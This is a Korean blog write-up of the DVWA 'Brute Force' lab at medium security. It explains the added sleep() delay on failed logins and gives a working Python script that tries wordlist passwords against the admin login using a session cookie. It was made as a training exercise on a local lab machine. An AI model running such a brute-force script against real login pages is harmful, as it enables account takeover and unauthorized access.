TeamH4C

[빡공팟 5기] W6 : DVWA 실습 - Brute Force (Medium)

이유갬 2022. 10. 30. 23:17

[ 실습 목표 ]

Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!

관리자의 패스워드를 알아 내는 것이 목표이며, 추가적으로 다른 4명의 유저의 비밀번호를 알아내면 보너스 포인트를 획득한다!


[ 실습 화면 ]

- 브루트 포싱 메뉴의 초기 화면이다.

- 소스 코드를 분석해보자!

- Low 레벨과는 다르게 로그인 실패 시 sleep() 함수가 걸려있다.

- 현재 내가 사용하는 버프 스위트를 사용하면 시간이 매우 오래 걸릴 것으로 보인다.

- 결과값이 존재할 때 결과를 불러들이고 로그인에 성공하며 아닌 경우에는 2초 뒤에 오류 메시지를 띄운다.

- 실제로 아무거나 입력해서 로그인을 시도해보니 low 레벨에 비해 로딩 시간이 길어지고 오류 메시지를 출력하는 걸 볼 수 있었다.

- 필자는 버프 스위트 말고 Low 레벨에서 시도했던 파이썬 스크립트를 이용해 비밀번호를 찾아볼 것이다.

import requests
URL = "http://192.168.64.4/vulnerabilities/brute/"
cookies = {
    'PHPSESSID': '5qcqg14g7rulgpi9r160ive9jq',
    'security': 'medium'
}
params = {
    'username' : 'admin',
    'password' : '',
    'Login' : 'Login'
}

with open('/Users/leeyu/Desktop/password.txt') as f:
    for line in f.readlines():   
        _line = line[:-1]
        params['password'] = _line
        req = requests.get(URL, params=params, cookies=cookies)
        
        if "incorrect." not in req.text:
            print(f'로그인 성공 : {_line}')
            break
        else:
            print(f'로그인 실패 : {_line}')

- 코드는 위와 같다.

- 취약한 비밀번호 목록이 들어있는 txt 파일을 읽어들이고 username 이 admin 인 계정의 비밀번호를 알아내는 것이다.

- 로그인이 실패하면 Username and/or password incorrect. 이라는 문구가 뜨는데 이때 incorrect 의 단어를 이용하여 로그인의 성공 여부를 판단한다.

- 이렇게 admin 의 비밀번호를 획득했다.

- 이제 나머지 사용자들 4명의 비밀번호를 이와 같은 방법으로 획득해보자!

- 확실히 지연 시간이 생긴 것만으로 비밀번호를 알아내는 것이 심적으로 매우 힘들었다.

- 그렇다고 비밀번호를 알아내는 것이 아예 불가능은 아니였다!